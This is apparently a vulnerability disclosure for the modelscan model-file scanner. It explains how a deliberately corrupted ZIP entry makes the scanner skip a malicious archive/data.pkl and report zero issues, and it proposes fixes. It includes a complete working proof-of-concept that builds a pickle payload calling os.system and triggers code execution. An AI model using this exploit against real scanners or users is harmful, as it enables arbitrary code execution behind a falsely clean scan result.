Fail-open ZIP iterator in _iterate_models allows malicious archive/data.pkl to bypass all scanning

[AAtomical]

Summary

modelscan's _iterate_models() wraps the entire inner-ZIP entry iteration in a
single except (zipfile.BadZipFile, RuntimeError) handler (line 113). If any
entry triggers either exception during zip.open(), the iterator aborts and all
remaining entries are silently dropped — never yielded, never scanned. An attacker
crafts a .pt archive where a deliberately corrupted entry appears before
archive/data.pkl in the namelist; modelscan's BadZipFile exception fires, the
malicious pkl is invisible to every scanner, and the report reads 0 issues (CLEAN).
The consumer (torch.load / pickle.load) reads archive/data.pkl directly by name
from the ZIP, executes the malicious pickle payload, and achieves arbitrary code execution.

Affected Version

• Repository: https://github.com/protectai/modelscan
• Package: modelscan (PyPI), latest release 0.8.8 and all prior versions
• File: modelscan/modelscan.py:80-126 (_iterate_models)
• Vulnerable lines:
  • Line 97–112 — inner entry iteration inside the try block
  • Line 113 — except (zipfile.BadZipFile, RuntimeError) aborts the entire iterator

Root Cause

# modelscan/modelscan.py:96-126
def _iterate_models(self, model_path):
    ...
    for file in files:
        with Model(file) as model:
            yield model                            # outer file yielded first
            ...
            try:
                with zipfile.ZipFile(model.get_stream(), "r") as zip:
                    file_names = zip.namelist()    # e.g. ["POISON", "archive/data.pkl"]
                    for file_name in file_names:
                        with zip.open(file_name, "r") as file_io:   # line 101
                            ...
                            yield Model(file_name, file_io)          # line 112
            except (zipfile.BadZipFile, RuntimeError) as e:          # line 113
                logger.debug("Skipping zip file %s, due to error", ...)
                self._skipped.append(
                    ModelScanSkipped("ModelScan", SkipCategories.BAD_ZIP, ...)
                )
                # ↑ entire ZIP is "skipped" — remaining entries never yielded

Exploit Construction

import io, zipfile, pickle

# 1. Build a valid ZIP with three entries
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", compression=zipfile.ZIP_STORED) as zf:
    zf.writestr("archive/byteorder", b"little")   # keeps first 4 bytes = PK\x03\x04
    zf.writestr("POISON", b"\xff" * 16)            # will be corrupted
    zf.writestr("archive/data.pkl", MALICIOUS_PICKLE)

raw = bytearray(buf.getvalue())

# 2. Corrupt POISON's local file header magic (central directory stays intact)
with zipfile.ZipFile(io.BytesIO(bytes(raw))) as z:
    poison_offset = z.getinfo("POISON").header_offset
raw[poison_offset : poison_offset + 4] = b"\x00\x00\x00\x00"

# Save as malicious.pt
open("malicious.pt", "wb").write(raw)

The first entry (archive/byteorder) keeps the file's opening bytes as PK\x03\x04,
so modelscan's _is_zipfile() gate passes and the file is treated as a ZIP.

Steps to Reproduce

pip install modelscan
python poc.py

#!/usr/bin/env python3
import subprocess, sys, os, io, pickle, zipfile, tempfile, time
subprocess.run(
    [sys.executable, "-m", "pip", "install", "-q", "modelscan"],
    check=True,
)
from modelscan.modelscan import ModelScan

print(f"TRUE IMPORT: {ModelScan}", flush=True)
print(f"TRUE IMPORT: {ModelScan._iterate_models}  # fail-open at line 113", flush=True)

TMPDIR = tempfile.mkdtemp()
MARKER = os.path.join(TMPDIR, "MODELSCAN_PWNED")
MALICIOUS_PT = os.path.join(TMPDIR, "malicious.pt")
class Exploit:
    def __reduce__(self):
        return (os.system, (
            f"id > {MARKER}; "
            f"echo 'RCE via modelscan fail-open' >> {MARKER}",
        ))

buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", compression=zipfile.ZIP_STORED) as zf:
    zf.writestr("archive/byteorder", b"little")
    zf.writestr("POISON", b"\xff" * 16)
    zf.writestr("archive/data.pkl", pickle.dumps(Exploit()))

raw = bytearray(buf.getvalue())

# Get POISON's local file header offset from the central directory
with zipfile.ZipFile(io.BytesIO(bytes(raw))) as zf_check:
    poison_offset = zf_check.getinfo("POISON").header_offset

# Corrupt POISON's local file header magic (PK\x03\x04 → \x00\x00\x00\x00)
# First 4 bytes of the file (archive/byteorder's header) remain PK\x03\x04
assert raw[0:4] == b"PK\x03\x04", "first entry must stay intact for _is_zipfile gate"
assert raw[poison_offset : poison_offset + 4] == b"PK\x03\x04"
raw[poison_offset : poison_offset + 4] = b"\x00\x00\x00\x00"

with open(MALICIOUS_PT, "wb") as f:
    f.write(raw)
scanner = ModelScan()
results = scanner.scan(MALICIOUS_PT)

total_issues = results["summary"]["total_issues"]
skipped = results["summary"]["skipped"]
print(f"modelscan: {total_issues} issues, skipped={skipped['total_skipped']}", flush=True)

# archive/data.pkl never appears in skipped — it was never even enumerated
pkl_in_skipped = any(
    "data.pkl" in s.get("source", "") for s in skipped["skipped_files"]
)
assert total_issues == 0, f"Expected 0 issues, got {total_issues}"
assert not pkl_in_skipped, "archive/data.pkl should not appear in skipped"
print("modelscan verdict: CLEAN — archive/data.pkl not scanned, not skipped, not visible", flush=True)
with zipfile.ZipFile(MALICIOUS_PT, "r") as z:
    with z.open("archive/data.pkl") as pkl_f:
        pickle.load(pkl_f)  # triggers RCE

time.sleep(0.3)

if os.path.exists(MARKER):
    output = open(MARKER).read().strip()
    print("RCE CONFIRMED", flush=True)
    print(f"  modelscan said: 0 issues (CLEAN)")
    print(f"  archive/data.pkl: never yielded by _iterate_models (BadZipFile on POISON)")
    print(f"  consumer:        zipfile.open('archive/data.pkl') → pickle.load → exec")
    print(f"  output: {output}")
    sys.exit(0)
else:
    print("FAILED", flush=True)
    sys.exit(1)

Impact

1. Complete scanner bypass: A user who runs modelscan before loading a model,
   checks results["summary"]["total_issues"] == 0, and proceeds to load — is fully
   bypassed. The attacker controls the scanner's verdict.
2. No special privileges required: File crafting uses only Python stdlib; no
   external tools needed.
3. Affects all supported model formats: Any ZIP-based format (.pt, .pth,
   .bin, .ckpt, .pkl inside a zip, .npz, .keras, etc.) is vulnerable.
4. RCE on model consumer: pickle.load() / torch.load(weights_only=False) on
   the crafted archive executes arbitrary code.

Suggested Fix

Option A — Per-entry exception handling (minimal change):

for file_name in file_names:
    try:
        with zip.open(file_name, "r") as file_io:
            ...
            yield Model(file_name, file_io)
    except (zipfile.BadZipFile, RuntimeError) as e:
        self._skipped.append(
            ModelScanSkipped("ModelScan", SkipCategories.BAD_ZIP,
                             f"Skipping entry {file_name}: {e}",
                             f"{model.get_source()}:{file_name}")
        )
        # continue to the next entry — do NOT abort the entire ZIP

Option B — Treat unreadable entries as errors (not skipped):

except (zipfile.BadZipFile, RuntimeError) as e:
    self._errors.append(
        ModelScanError(f"Cannot read ZIP entry {file_name}: {e}")
    )
    # fail-closed: force the caller to inspect errors before trusting the report

Option B is safer: it prevents a bypass from producing a "clean" report.